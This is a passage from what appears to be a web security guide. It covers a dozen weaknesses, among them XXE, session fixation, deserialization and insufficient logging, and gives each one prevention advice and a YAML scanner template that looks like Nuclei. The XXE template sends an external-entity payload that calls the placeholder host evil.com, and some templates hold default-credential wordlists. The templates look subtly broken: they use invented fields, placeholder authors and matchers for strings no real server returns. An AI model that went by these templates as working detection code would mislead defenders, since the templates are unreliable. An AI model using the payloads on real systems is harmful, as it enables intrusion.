from trusted ones to minimize the impact of a potential breach or compromise.\n\n1. Regularly update and patch: Keep all components, frameworks, libraries, and systems up to date with the latest security patches. Regularly review and update security configurations to address any known vulnerabilities that may lead to trust boundary violations.\n\n1. Implement runtime monitoring and anomaly detection: Deploy monitoring systems that can detect and alert on unusual or unexpected behaviors across trust boundaries. Monitor for suspicious activities, unexpected data flows, or unauthorized access attempts.\n\n1. Perform security testing and code reviews: Conduct regular security testing, including penetration testing and code reviews, to identify and address any trust boundary vulnerabilities. Test the resilience of your system to boundary violations and validate the effectiveness of implemented security controls.\n\n1. Provide security awareness training: Educate developers and system administrators about the risks and consequences of trust boundary violations. Promote security awareness and provide training on secure coding practices, secure configuration management, and the importance of enforcing trust boundaries.\n\nBy following these preventive measures, you can mitigate the risk of trust boundary violations and enhance the overall security posture of your application or system. It is crucial to establish clear trust boundaries, implement appropriate security controls, and regularly monitor and update your systems to prevent unauthorized access or compromise across trust boundaries.\n\n\n```\nid: trust-boundary-violation\ninfo:\n  name: Trust Boundary Violation\n  author: Your Name\n  severity: medium\n  description: Detects trust boundary violations in the application.\n  references:\n    - https://example.com\ntags:\n  - web\n  - trust-boundary-violation\nrequests:\n  - name: Trust Boundary Violation Test\n    path:\n      - /\n      - /admin\n      - /user\n    matchers:\n      - type: status\n        status:\n          - 200\n    attacks:\n      - type: dynamic-attack\n        requests:\n          - method: GET\n            path: \"/user-details?admin=true\"\n          - method: GET\n            path: \"/admin-details?user=true\"\n```\n\n\n### Insufficiently Protected Credentials\n\nInsufficiently Protected Credentials is a security vulnerability that occurs when sensitive credentials, such as usernames, passwords, API keys, or access tokens, are not adequately protected, making them susceptible to unauthorized access or misuse. This can happen due to weak encryption, improper storage, or inadequate access controls, putting sensitive information at risk.\n\nTo prevent Insufficiently Protected Credentials, you should follow these preventive measures:\n\n1. Use strong encryption: Ensure that sensitive credentials are properly encrypted using strong encryption algorithms and keys. Employ industry-standard encryption practices to protect the confidentiality and integrity of the stored credentials.\n\n1. Implement secure storage mechanisms: Store credentials in secure storage systems, such as encrypted databases or secure key stores, that provide appropriate access controls and protection against unauthorized access. Avoid storing credentials in plain text or insecurely accessible locations.\n\n1. Avoid hardcoding credentials: Hardcoding credentials directly in source code or configuration files should be avoided. Instead, utilize environment variables, secure secrets management tools, or configuration files with restricted access to store and retrieve credentials.\n\n1. Implement secure credential transmission: When transmitting credentials, use secure communication protocols such as SSL/TLS to encrypt the data in transit. Avoid transmitting credentials over insecure channels or including them in URL parameters.\n\n1. Apply the principle of least privilege: Grant credentials only the minimum privileges required for the intended functionality. Avoid providing unnecessary or excessive privileges to reduce the potential impact of a credential compromise.\n\n1. Enforce strong password policies: Implement strong password policies that encourage users to create complex and unique passwords. Enforce password expiration and provide mechanisms for password resets or account recovery.\n\n1. Implement multi-factor authentication (MFA): Utilize MFA to add an extra layer of security. Require users to provide additional authentication factors, such as a time-based one-time password (TOTP) or biometric data, to access sensitive resources.\n\n1. Regularly rotate credentials: Establish a credential rotation policy that mandates periodic password changes, key rotation, or token regeneration. Regularly update and rotate credentials to limit the exposure window in case of a compromise.\n\n1. Implement secure coding practices: Follow secure coding practices to minimize the risk of inadvertently exposing credentials. Avoid logging or displaying credentials in error messages or debug output. Implement secure coding techniques to protect against common vulnerabilities like injection attacks.\n\n1. Conduct regular security assessments: Perform regular security assessments and penetration testing to identify vulnerabilities and weaknesses in credential protection. Engage security professionals or utilize automated vulnerability scanning tools to identify potential issues.\n\n1. Educate users and developers: Raise awareness among users and developers about the importance of protecting credentials. Provide training on secure coding practices, password management, and the risks associated with insufficiently protected credentials.\n\nBy implementing these preventive measures, you can significantly reduce the risk of Insufficiently Protected Credentials and enhance the security of your systems. Protecting sensitive credentials is crucial for safeguarding user data, preventing unauthorized access, and maintaining the trust of your users.\n\n\n\n```\nid: insufficiently-protected-credentials\ninfo:\n  name: Insufficiently Protected Credentials\n  author: Your Name\n  severity: high\n  description: Detects instances where sensitive credentials are insufficiently protected.\n  references:\n    - https://example.com\ntags:\n  - web\n  - insufficiently-protected-credentials\nrequests:\n  - name: Insufficiently Protected Credentials Test\n    path:\n      - /\n      - /admin\n      - /login\n    matchers:\n      - type: status\n        status:\n          - 200\n    attacks:\n      - type: dynamic-attack\n        requests:\n          - method: POST\n            path: /login\n            headers:\n              - name: Content-Type\n                value: application/x-www-form-urlencoded\n            body: \"username=admin&password=admin\"\n            matchers:\n              - type: word\n                words:\n                  - \"Invalid username or password\"\n```\n\n\n### Restriction of XML External Entity Reference\n\nRestriction of XML External Entity (XXE) Reference is a security vulnerability that occurs when an XML parser processes external entities included in the XML input. Attackers can exploit this vulnerability to read sensitive data from the server or perform denial-of-service attacks.\n\nTo prevent XXE vulnerabilities, you should follow these preventive measures:\n\n1. Disable external entity processing: Configure the XML parser to disable the processing of external entities. This prevents the XML parser from resolving and including external entities in the XML input.\n\n1. Validate and sanitize XML inputs: Implement proper input validation and sanitization techniques to ensure that only expected and safe XML data is processed. Use strict parsing settings and reject or sanitize any untrusted or unexpected XML input.\n\n1. Use whitelisting and filtering: Implement whitelisting or filtering mechanisms to allow only known safe XML structures and reject or remove any potentially malicious XML constructs or elements.\n\n1. Upgrade to a secure XML parser: Use the latest version of a secure and well-maintained XML parser library. Older versions of XML parsers may have known vulnerabilities that can be exploited by attackers.\n\n1. Implement least privilege: Restrict access privileges of the XML parser to minimize the potential impact of an XXE attack. Ensure that the XML parser runs with the least privileges required to perform its functionality.\n\n1. Avoid using user-controlled XML: Avoid using user-controlled XML in sensitive operations or processing. If user-supplied XML is required, ensure strict validation and sanitization of the input to mitigate the risk of XXE vulnerabilities.\n\n1. Implement server-side filtering and input validation: Apply server-side input validation and filtering techniques to prevent XXE vulnerabilities. Validate and sanitize all XML data received from clients before processing it on the server.\n\n1. Follow secure coding practices: Adhere to secure coding practices when handling XML data. Avoid concatenating XML strings or building XML dynamically using untrusted input, as it can introduce XML injection vulnerabilities.\n\n1. Regularly update and patch: Keep the XML parser and associated libraries up to date with the latest security patches. Stay informed about any security advisories or updates related to the XML parser to address any known vulnerabilities.\n\n1. Perform security testing: Conduct security testing, including vulnerability assessments and penetration testing, to identify and remediate XXE vulnerabilities. Test the resilience of the application against various XXE attack vectors and verify the effectiveness of implemented security controls.\n\nBy implementing these preventive measures, you can reduce the risk of XXE vulnerabilities and enhance the security of your XML processing. It is essential to be cautious when handling XML data, implement secure coding practices, and keep the XML parser up to date to prevent attackers from exploiting XXE vulnerabilities.\n\n\n```\nid: restriction-of-xxe-reference\ninfo:\n  name: Restriction of XML External Entity Reference\n  author: Your Name\n  severity: medium\n  description: Detects instances where XML parsing allows external entity references, potentially leading to XXE vulnerabilities.\n  references:\n    - https://example.com\ntags:\n  - web\n  - restriction-of-xxe-reference\nrequests:\n  - name: Restriction of XXE Reference Test\n    path:\n      - /\n      - /admin\n      - /api\n    matchers:\n      - type: status\n        status:\n          - 200\n    attacks:\n      - type: dynamic-attack\n        requests:\n          - method: POST\n            path: /api/parse-xml\n            headers:\n              - name: Content-Type\n                value: application/xml\n            body: |\n              <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n              <!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://evil.com/xxe\">]>\n              <root>&xxe;</root>\n            matchers:\n              - type: word\n                words:\n                  - \"XXE detected\"\n```\n\n\n### Vulnerable and Outdated Components\n\nVulnerable and outdated components refer to third-party libraries, frameworks, or software components that have known security vulnerabilities or are no longer supported with security patches. Using such components can introduce security risks into your application or system, as attackers can exploit these vulnerabilities to gain unauthorized access or compromise your system.\n\nTo prevent the use of vulnerable and outdated components, you should follow these preventive measures:\n\n1. Maintain an inventory of components: Create and maintain an inventory of all the third-party components used in your application or system. Keep track of the version numbers and the sources of these components.\n\n1. Stay informed about security updates: Stay updated with the latest security advisories and vulnerability reports for the components you use. Subscribe to security mailing lists or follow official sources to receive notifications about security patches and updates.\n\n1. Regularly update components: Regularly update the components in your application or system to the latest stable and secure versions. Check for security releases and apply the patches promptly. Ensure that your update process is well-documented and regularly tested.\n\n1. Utilize vulnerability databases: Make use of vulnerability databases and security resources that provide information on known vulnerabilities in components. Check these resources regularly to identify any vulnerabilities in the components you use and take appropriate action.\n\n1. Perform security assessments: Conduct regular security assessments and vulnerability scans to identify any vulnerabilities introduced by the components. Use automated tools or engage security professionals to perform security testing and code reviews.\n\n1. Monitor component support: Keep track of the support status of the components you use. If a component is no longer maintained or has reached its end-of-life, consider finding alternative components or solutions. Unsupported components are more likely to have unpatched vulnerabilities.\n\n1. Implement a patch management process: Establish a patch management process to ensure that security patches and updates are promptly applied to the components. This process should include testing patches in a controlled environment before deploying them to production.\n\n1. Consider using security monitoring tools: Implement security monitoring tools that can detect and alert you about vulnerabilities or potential risks associated with the components you use. These tools can help you identify any security issues early on and take necessary mitigation steps.\n\n1. Follow secure coding practices: Develop secure coding practices to minimize the introduction of vulnerabilities in your own code. Regularly review and update your code to ensure that it does not rely on vulnerable or outdated components.\n\n1. Include component assessment in the procurement process: When selecting new components, consider their security track record, update frequency, and community support. Choose components that have a good reputation for security and are actively maintained.\n\nBy following these preventive measures, you can reduce the risk of using vulnerable and outdated components in your application or system. Regularly updating components, staying informed about security updates, and conducting security assessments are essential to maintain a secure software ecosystem.\n\n\n```\nid: vulnerable-and-outdated-components\ninfo:\n  name: Vulnerable and Outdated Components\n  author: Your Name\n  severity: high\n  description: Detects vulnerable and outdated components in web applications.\n  references:\n    - https://example.com\ntags:\n  - web\n  - vulnerable-and-outdated-components\nrequests:\n  - name: Vulnerable and Outdated Components Test\n    path:\n      - /\n      - /admin\n      - /dashboard\n    matchers:\n      - type: status\n        status:\n          - 200\n    attacks:\n      - type: dynamic-attack\n        requests:\n          - method: GET\n            path: /info\n            headers:\n              - name: User-Agent\n                value: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36\n            matchers:\n              - type: word\n                words:\n                  - \"Vulnerable component detected\"\n```\n\n\n### Improper Validation of Certificate with Host Mismatch\n\nImproper Validation of Certificate with Host Mismatch is a security vulnerability that occurs when a client application fails to properly validate the server's SSL/TLS certificate during a secure communication handshake. This vulnerability allows an attacker to impersonate the server by presenting a certificate that does not match the expected host.\n\nTo prevent Improper Validation of Certificate with Host Mismatch, you should follow these preventive measures:\n\n1. Properly validate SSL/TLS certificates: Implement a robust certificate validation mechanism in your client application. Ensure that the SSL/TLS library or framework being used verifies the certificate chain, expiration date, revocation status, and other relevant fields.\n\n1. Check for host name mismatch: Verify that the common name (CN) or subject alternative name (SAN) field in the certificate matches the host to which the client is connecting. Perform a strict comparison and reject the connection if there is a mismatch.\n\n1. Use a trusted certificate authority (CA): Obtain SSL/TLS certificates from reputable CAs that follow industry best practices for certificate issuance. Trust certificates only from well-known CAs to reduce the risk of obtaining fraudulent or improperly issued certificates.\n\n1. Implement certificate pinning: Consider implementing certificate pinning, also known as public key pinning, in your client application. Pinning involves associating a specific server's public key or certificate fingerprint with a known and trusted value. This helps prevent certificate substitution attacks.\n\n1. Stay up to date with CA revocations: Regularly update the list of revoked certificates and perform certificate revocation checks during the validation process. Check certificate revocation status using online certificate revocation lists (CRLs) or the Online Certificate Status Protocol (OCSP).\n\n1. Enable strict SSL/TLS configuration: Configure your SSL/TLS settings to use secure and up-to-date protocols (e.g., TLS 1.2 or higher) and cryptographic algorithms. Disable deprecated or weak protocols and algorithms to prevent potential vulnerabilities.\n\n1. Perform thorough testing: Conduct rigorous testing to ensure that certificate validation is working correctly in your client application. Test scenarios should include cases where certificates have expired, are revoked, or have host mismatches. Automated security testing tools can also help identify potential vulnerabilities.\n\n1. Implement user awareness and education: Educate users about the importance of verifying SSL/TLS certificates and recognizing warning messages related to certificate errors. Encourage users to report any suspicious certificate-related issues.\n\n1. Monitor and log certificate validation errors: Implement logging mechanisms to capture and monitor SSL/TLS certificate validation errors. Monitor logs for any unexpected or suspicious activities related to certificate validation.\n\n1. Regularly update SSL/TLS libraries and frameworks: Keep your SSL/TLS libraries and frameworks up to date with the latest security patches and updates. This ensures that you have the latest fixes for any known vulnerabilities related to certificate validation.\n\nBy following these preventive measures, you can mitigate the risk of Improper Validation of Certificate with Host Mismatch and ensure secure SSL/TLS connections in your client applications. Proper certificate validation is crucial for establishing trust and authenticity during secure communications.\n\n\n```\nid: improper-validation-of-certificate-with-host-mismatch\ninfo:\n  name: Improper Validation of Certificate with Host Mismatch\n  author: Your Name\n  severity: high\n  description: Detects improper validation of SSL/TLS certificates with host mismatches.\n  references:\n    - https://example.com\ntags:\n  - web\n  - ssl-tls\n  - certificate-validation\nrequests:\n  - name: Certificate Host Mismatch Test\n    path:\n      - /\n      - /admin\n      - /dashboard\n    matchers:\n      - type: status\n        status:\n          - 200\n    attacks:\n      - type: dynamic-attack\n        requests:\n          - method: GET\n            path: /\n            insecure: true\n            matchers:\n              - type: word\n                words:\n                  - \"Certificate host mismatch detected\"\n```\n\n### Improper Authentication\n\nImproper Authentication is a security vulnerability that occurs when an application fails to properly authenticate and verify the identity of users or entities. This vulnerability allows attackers to bypass authentication mechanisms and gain unauthorized access to sensitive resources or perform actions on behalf of other users.\n\nTo prevent Improper Authentication, you should follow these preventive measures:\n\n1. Implement strong authentication mechanisms: Use strong authentication methods, such as multi-factor authentication (MFA), to enhance the security of user authentication. MFA combines multiple factors, such as passwords, biometrics, or hardware tokens, to verify the user's identity.\n\n1. Use secure password policies: Enforce strong password policies that require users to create complex passwords and regularly update them. Encourage the use of unique passwords for each application or service and consider implementing password strength indicators.\n\n1. Protect authentication credentials: Safeguard authentication credentials, such as passwords, tokens, or session IDs, from unauthorized access or disclosure. Use secure storage mechanisms, such as hashing and encryption, to protect sensitive information related to authentication.\n\n1. Implement secure session management: Ensure secure session management practices, such as generating unique session IDs, properly handling session expiration and invalidation, and using secure transport protocols (e.g., HTTPS) to transmit session-related data.\n\n1. Enforce secure login controls: Implement measures to prevent common attacks, such as brute-force attacks and credential stuffing. Enforce account lockouts or introduce CAPTCHA challenges after a certain number of failed login attempts.\n\n1. Implement secure password reset processes: Establish secure password reset processes that require additional verification steps to confirm the user's identity. This may include sending a verification email, asking security questions, or utilizing a secondary authentication factor.\n\n1. Protect against session fixation attacks: Implement measures to prevent session fixation attacks by regenerating session IDs upon successful authentication, avoiding session ID propagation in URLs, and restricting the ability to fixate session IDs.\n\n1. Implement secure account recovery: Establish secure procedures for account recovery to ensure that only authorized users can regain access to their accounts. This may involve verifying the user's identity through a multi-step verification process.\n\n1. Regularly update and patch: Keep the authentication mechanisms, libraries, and frameworks up to date with the latest security patches and updates. Stay informed about any security advisories or vulnerabilities related to the authentication mechanisms used in your application.\n\n1. Conduct security testing: Perform regular security testing, including vulnerability assessments and penetration testing, to identify and remediate any authentication-related vulnerabilities. Test the effectiveness of authentication controls and verify that they cannot be easily bypassed or exploited.\n\nBy implementing these preventive measures, you can mitigate the risk of Improper Authentication and strengthen the security of user authentication in your application or system. Robust authentication practices are essential to protect user accounts, sensitive data, and ensure that only authorized individuals can access protected resources.\n\n\n```\nid: improper-authentication-with-host-mismatch\ninfo:\n  name: Improper Authentication with Host Mismatch\n  author: Your Name\n  severity: high\n  description: Detects improper authentication mechanisms that allow host mismatches.\n  references:\n    - https://example.com\ntags:\n  - web\n  - authentication\n  - host-mismatch\nrequests:\n  - name: Host Mismatch Authentication Test\n    path:\n      - /\n      - /admin\n      - /dashboard\n    matchers:\n      - type: status\n        status:\n          - 200\n    attacks:\n      - type: dynamic-attack\n        payloads:\n          - type: wordlist\n            words:\n              - admin:password\n              - user:password\n            separator: \":\"\n        requests:\n          - method: POST\n            path: /login\n            insecure: true\n            matchers:\n              - type: word\n                words:\n                  - \"Authentication failed: host mismatch detected\"\n```\n\n### Session Fixation\n\nSession Fixation is a security vulnerability that occurs when an attacker establishes or manipulates a user's session identifier (session ID) to gain unauthorized access to the user's session. The attacker tricks the user into using a known session ID, which the attacker can then use to hijack the session.\n\nTo prevent Session Fixation, you should follow these preventive measures:\n\n1. Regenerate session ID upon authentication: Generate a new session ID for the user upon successful authentication. This ensures that the user is assigned a different session ID than the one initially used before authentication.\n\n1. Use a secure random session ID: Generate session IDs using a strong cryptographic random number generator. This helps prevent session ID prediction or brute-force attacks where attackers try to guess valid session IDs.\n\n1. Implement session expiration and inactivity timeouts: Set appropriate session expiration and inactivity timeouts to limit the lifespan of a session. When a session expires or times out, the user needs to reauthenticate, preventing the use of old session IDs by attackers.\n\n1. Implement secure session management: Implement secure session management practices, such as securely transmitting session IDs over encrypted channels (e.g., HTTPS) and avoiding exposing session IDs in URLs.\n\n1. Avoid session ID disclosure: Avoid including session IDs in URLs, logs, or other client-side visible locations. Exposing session IDs increases the risk of session fixation attacks as attackers can easily obtain valid session IDs.\n\n1. Use cookie attributes: Set secure attributes for session cookies, such as the \"Secure\" flag to ensure they are only transmitted over HTTPS, and the \"HttpOnly\" flag to prevent client-side scripts from accessing the cookie.\n\n1. Conduct user awareness and education: Educate users about session security best practices, such as the importance of logging out after using shared or public devices and being cautious of session ID manipulation attempts.\n\n1. Implement IP validation: Consider implementing IP validation checks as an additional security measure. Verify that the IP address of the user's requests remains consistent throughout the session. This can help detect and prevent session hijacking attempts.\n\n1. Monitor session activity: Monitor session activity and log events related to session creation, expiration, and invalidation. Monitor for unusual session behavior, such as simultaneous sessions from different locations or devices.\n\n1. Regularly update and patch: Keep your web application and session management components up to date with the latest security patches and updates. Stay informed about any security advisories or vulnerabilities related to session management in your application framework or libraries.\n\nBy implementing these preventive measures, you can reduce the risk of Session Fixation and help ensure the integrity and security of user sessions. Secure session management practices are essential to protect user accounts and prevent unauthorized access to sensitive data and functionality.\n\n\n```\nid: session-fixation\ninfo:\n  name: Session Fixation\n  author: Your Name\n  severity: high\n  description: Detects vulnerabilities related to session fixation attacks.\n  references:\n    - https://example.com\ntags:\n  - web\n  - session-fixation\nrequests:\n  - name: Session Fixation Test\n    path:\n      - /\n      - /login\n      - /admin\n    matchers:\n      - type: status\n        status:\n          - 200\n    attacks:\n      - type: dynamic-attack\n        payloads:\n          - type: wordlist\n            words:\n              - johndoe@example.com\n              - janedoe@example.com\n          - type: wordlist\n            words:\n              - 123456\n              - password123\n        requests:\n          - method: GET\n            path: /set-session-id\n          - method: POST\n            path: /login\n            insecure: true\n            matchers:\n              - type: word\n                words:\n                  - \"Session ID mismatch detected\"\n```\n\n\n### Inclusion of Functionality from Untrusted Control\n\nInclusion of Functionality from Untrusted Control, also known as Remote Code Execution (RCE), is a security vulnerability that occurs when an application incorporates and executes code from an untrusted or external source without proper validation or security measures. This vulnerability allows attackers to execute arbitrary code on the target system, potentially leading to unauthorized access, data breaches, or system compromise.\n\nTo prevent the Inclusion of Functionality from Untrusted Control, you should follow these preventive measures:\n\n1. Avoid dynamic code execution: Minimize or avoid executing code from untrusted sources whenever possible. Limit the execution of code to trusted and well-defined components within your application.\n\n1. Implement strict input validation: Validate and sanitize all user inputs and external data before using them in dynamic code execution. Apply input validation techniques such as whitelisting, blacklisting, or input filtering to ensure only safe and expected inputs are processed.\n\n1. Use safe alternatives for dynamic code execution: If dynamic code execution is necessary, consider using safe alternatives, such as predefined functions or libraries with built-in security measures. Avoid using functions or features that allow arbitrary code execution or evaluation.\n\n1. Implement strong access controls: Apply strict access controls and permissions to limit the execution of code or the inclusion of functionality to trusted and authorized sources only. Restrict access to critical system resources and prevent unauthorized code execution.\n\n1. Isolate untrusted code: If you need to execute untrusted code, isolate it in a sandboxed or restricted environment with limited privileges. Use technologies like containers or virtual machines to create isolated execution environments.\n\n1. Implement code signing and verification: Digitally sign your code and verify the integrity and authenticity of external components before including or executing them. This helps ensure that the code comes from a trusted source and has not been tampered with.\n\n1. Regularly update and patch: Keep your application, libraries, and frameworks up to date with the latest security patches and updates. Stay informed about any security advisories or vulnerabilities related to the components used in your application.\n\n1. Perform security testing: Conduct regular security testing, including static code analysis, dynamic analysis, and penetration testing, to identify and mitigate vulnerabilities related to the inclusion of untrusted functionality. Test for code injection and RCE vulnerabilities to ensure the application can withstand potential attacks.\n\n1. Implement secure coding practices: Follow secure coding practices, such as input validation, output encoding, and secure configuration management, to minimize the risk of code injection vulnerabilities. Train your development team on secure coding practices to build a robust and secure application.\n\n1. Implement a Web Application Firewall (WAF): Consider using a WAF that can detect and block malicious code injection attempts. WAFs can provide an additional layer of protection by inspecting incoming requests and filtering out potentially dangerous code.\n\nBy implementing these preventive measures, you can reduce the risk of Inclusion of Functionality from Untrusted Control and enhance the security of your application. Proper validation, access controls, and secure coding practices are essential to mitigate the risks associated with executing code from untrusted sources.\n\n```\nid: untrusted-control-inclusion\ninfo:\n  name: Inclusion of Functionality from Untrusted Control\n  author: Your Name\n  severity: medium\n  description: Detects vulnerabilities related to the inclusion of functionality from untrusted sources.\n  references:\n    - https://example.com\ntags:\n  - web\n  - untrusted-control\nrequests:\n  - name: Inclusion of Untrusted File\n    path:\n      - /index.php?page=untrusted\n      - /admin.php?page=untrusted\n    matchers:\n      - type: status\n        status:\n          - 200\n      - type: word\n        words:\n          - \"Untrusted Functionality Included\"\n```\n\n\n### Download of Code Without Integrity Check\n\n\nDownload of Code Without Integrity Check is a security vulnerability that occurs when code or files are downloaded from a remote source without verifying their integrity. This vulnerability allows attackers to manipulate or replace the downloaded code, leading to potential injection of malicious code or unauthorized modifications.\n\nTo prevent Download of Code Without Integrity Check, you should follow these preventive measures:\n\n1. Implement code signing: Digitally sign the code or files you distribute or download. Code signing ensures that the code or files have not been tampered with and come from a trusted source. Verify the digital signatures before executing or using the downloaded code.\n\n1. Use secure and trusted sources: Obtain code or files from trusted and reputable sources. Avoid downloading code or files from untrusted or unknown sources. Trusted sources provide assurance of the integrity and authenticity of the code.\n\n1. Verify checksums or hashes: Provide checksums or hashes (e.g., MD5, SHA-256) for the downloaded code or files. Before using the downloaded content, calculate the checksum or hash of the file and compare it with the provided value. If they match, it indicates that the file has not been altered during the download process.\n\n1. Use secure protocols: Download code or files using secure protocols such as HTTPS, which provides encryption and integrity checks during transmission. Secure protocols help prevent tampering or interception of the downloaded content.\n\n1. Perform file integrity checks: Implement file integrity checks after the download process. This can include comparing the downloaded code or files against a known good version or using file integrity monitoring tools to detect any unauthorized modifications.\n\n1. Regularly update and patch: Keep the software or application that handles the downloading process up to date with the latest security patches and updates. Security vulnerabilities in the download functionality can be addressed through software updates.\n\n1. Implement secure coding practices: Follow secure coding practices when developing the code that handles the download process. Input validation, secure file handling, and secure network communication should be considered to prevent code injection or tampering during the download.\n\n1. Implement strong access controls: Restrict access to the download functionality and ensure that only authorized users or systems can initiate or access the download process. Implement proper authentication and authorization mechanisms to prevent unauthorized downloads.\n\n1. Perform security testing: Conduct regular security testing, including vulnerability scanning and penetration testing, to identify potential weaknesses or vulnerabilities in the download functionality. Test for code injection, tampering, or unauthorized file replacement scenarios.\n\n1. Educate users: Educate users about the importance of downloading code or files from trusted sources and the risks associated with downloading from untrusted or unknown sources. Encourage users to verify the integrity of downloaded files using provided checksums or hashes.\n\nBy implementing these preventive measures, you can reduce the risk of Download of Code Without Integrity Check and ensure that the downloaded code or files are trustworthy and have not been tampered with. Verifying integrity, using secure sources, and implementing secure coding practices are critical for maintaining the integrity and security of downloaded code or files.\n\n\n```\nid: download-without-integrity-check\ninfo:\n  name: Download of Code Without Integrity Check\n  author: Your Name\n  severity: high\n  description: Detects vulnerabilities related to downloading code without integrity checks.\n  references:\n    - https://example.com\ntags:\n  - web\n  - download-code\nrequests:\n  - name: Untrusted Code Download\n    path:\n      - /download.php?file=untrusted\n      - /file.php?name=untrusted\n    matchers:\n      - type: status\n        status:\n          - 200\n      - type: word\n        words:\n          - \"Downloaded code without integrity check\"\n```\n\n\n### Deserialization of Untrusted Data\n\nDeserialization of Untrusted Data is a security vulnerability that occurs when untrusted or malicious data is deserialized by an application without proper validation and safeguards. Deserialization vulnerabilities can lead to various attacks, such as remote code execution, injection of malicious objects, or data tampering.\n\nTo prevent Deserialization of Untrusted Data, you should follow these preventive measures:\n\n1. Implement input validation: Validate and sanitize all inputs, including serialized data, before deserialization. Apply strict input validation to ensure that only expected and safe data is processed.\n\n1. Use secure deserialization libraries: Utilize secure and trusted deserialization libraries or frameworks that provide built-in protections against common deserialization vulnerabilities. These libraries often include features like input filtering, type checking, or automatic validation.\n\n1. Implement whitelisting: Define and enforce a whitelist of allowed classes or types during deserialization. Restrict the deserialization process to only known and trusted classes, preventing the instantiation of potentially malicious or unexpected objects.\n\n1. Implement integrity checks: Include integrity checks or digital signatures within the serialized data. Verify the integrity of the serialized data before deserialization to ensure that it has not been tampered with or modified.\n\n1. Isolate deserialization functionality: Isolate the deserialization process in a separate and controlled environment. Use mechanisms like sandboxes, containers, or restricted execution environments to mitigate the impact of any potential deserialization vulnerabilities.\n\n1. Enforce strict access controls: Limit access to deserialization functionality to only authorized components or systems. Implement proper authentication and authorization mechanisms to prevent unauthorized deserialization.\n\n1. Implement secure defaults: Configure deserialization settings with secure defaults. Disable or minimize the use of dangerous deserialization features or options that may introduce security risks.\n\n1. Update deserialization libraries: Keep deserialization libraries or frameworks up to date with the latest security patches and updates. Stay informed about any security advisories or vulnerabilities related to the deserialization components used in your application.\n\n1. Perform security testing: Conduct thorough security testing, including static analysis, dynamic analysis, and penetration testing, to identify and remediate deserialization vulnerabilities. Test for deserialization attacks, such as object injection or remote code execution.\n\n1. Educate developers: Provide training and guidance to developers on secure coding practices, emphasizing the importance of proper validation and handling of deserialized data. Encourage developers to follow best practices for secure deserialization.\n\nBy implementing these preventive measures, you can mitigate the risk of Deserialization of Untrusted Data and protect your application from potential attacks. Validating inputs, using secure libraries, implementing access controls, and maintaining up-to-date software are essential steps to prevent deserialization vulnerabilities.\n\n```\nid: deserialization-untrusted-data\ninfo:\n  name: Deserialization of Untrusted Data\n  author: Your Name\n  severity: high\n  description: Detects vulnerabilities related to the deserialization of untrusted data.\n  references:\n    - https://example.com\ntags:\n  - web\n  - deserialization\nrequests:\n  - name: Untrusted Deserialization\n    path:\n      - /deserialize.php?data=untrusted\n      - /object.php?data=untrusted\n    matchers:\n      - type: status\n        status:\n          - 200\n      - type: word\n        words:\n          - \"Untrusted deserialization detected\"\n```\n\n\n### Insufficient Logging\n\nInsufficient Logging is a security vulnerability that occurs when an application fails to generate or retain sufficient logs to detect and investigate security incidents. Inadequate logging can hinder incident response efforts, making it difficult to identify and analyze security events or suspicious activities.\n\nTo prevent Insufficient Logging, you should follow these preventive measures:\n\n1. Implement comprehensive logging: Ensure that your application logs relevant security-related events and activities. Log information such as user authentication attempts, access control failures, critical application actions, input validation errors, and any other security-sensitive events.\n\n1. Include contextual information: Log additional contextual information that can aid in incident investigation, such as user IDs, timestamps, source IP addresses, affected resources, and relevant request/response data. This information can assist in understanding the scope and impact of security incidents.\n\n1. Set appropriate log levels: Define appropriate log levels for different types of events, ranging from debug and informational messages to more critical error and warning logs. Use log levels consistently to capture both routine and exceptional events.\n\n1. Ensure log storage and retention: Set up sufficient storage capacity to retain logs for an adequate period, considering compliance requirements and incident response needs. Retain logs for a timeframe that allows for timely incident detection, response, and forensic analysis.\n\n1. Encrypt and protect logs: Apply encryption mechanisms to protect log files at rest and during transit. Properly configure file permissions and access controls to prevent unauthorized access to log files. Protect log files from tampering or deletion by employing file integrity monitoring or secure log management systems.\n\n1. Monitor log files: Regularly monitor log files for any suspicious or unexpected activities. Implement automated log analysis and intrusion detection systems to detect security events, anomalies, or patterns indicative of potential attacks.\n\n1. Implement centralized log management: Centralize log storage and management in a dedicated log server or security information and event management (SIEM) system. Centralization enables correlation and analysis of logs from multiple sources, improving incident detection and response capabilities.\n\n1. Perform log analysis and reporting: Regularly analyze log data for security insights, trends, or anomalies. Create customized reports or dashboards that provide a summary of important security-related events. Identify areas for improvement or potential security weaknesses based on log analysis results.\n\n1. Implement log integrity checks: Implement mechanisms to detect and alert on any tampering or modification of log files. Use digital signatures, checksums, or secure logging frameworks to ensure the integrity of log data.\n\n1. Regularly review and update logging practices: Continuously review and update your logging practices based on evolving security requirements and industry best practices. Stay informed about emerging threats and logging-related vulnerabilities to ensure your logging mechanisms remain effective.\n\nBy implementing these preventive measures, you can enhance your application's logging capabilities, facilitate incident detection and response, and improve your overall security posture. Comprehensive and secure logging practices play a vital role in detecting and investigating security incidents, aiding in timely incident response, and facilitating forensic analysis when necessary.\n\n\n```\nid: insufficient-logging\ninfo:\n  name: Insufficient Logging\n  author: Your Name\n  severity: medium\n  description: Detects vulnerabilities related to insufficient logging of security events.\n  references:\n    - https://example.com\ntags:\n  - web\n  - logging\nrequests:\n  - name: Insufficient Logging\n    path:\n      - /login\n      - /admin\n      - /api/v1\n    matchers:\n      - type: status\n        status:\n          - 200\n      - type: word\n        words:\n          - \"Login failed\"\n      - type: word\n        words:\n          - \"Unauthorized access\"\n      - type: word\n        words:\n          - \"Access denied\"\n```\n\n\n### Improper Output Neutralization for Logs\n\n\nImproper Output Neutralization for Logs, also known as Log Injection, is a security vulnerability that occurs when untrusted user input is not properly sanitized or neutralized before being included in log statements. This can lead to log forging, injection of malicious content, or the disclosure of sensitive information within log files.\n\nTo prevent Improper Output Neutralization for Logs, you should follow these preventive measures:\n\n1. Apply proper input validation and sanitization: Treat log messages as untrusted user input and validate and sanitize any user-controlled data before including it in log statements. Remove or escape characters that could be interpreted as control characters or log syntax.\n\n1. Use secure logging frameworks: Utilize logging frameworks that provide built-in mechanisms for proper output neutralization. These frameworks often include features like parameterized logging or context-specific escaping, which can help prevent log injection vulnerabilities.\n\n1. Avoid concatenation of untrusted data: Do not concatenate untrusted user input directly into log statements. Instead, use placeholder values or formatting options provided by the logging framework to ensure proper neutralization of user-controlled data.\n\n1. Implement context-specific output 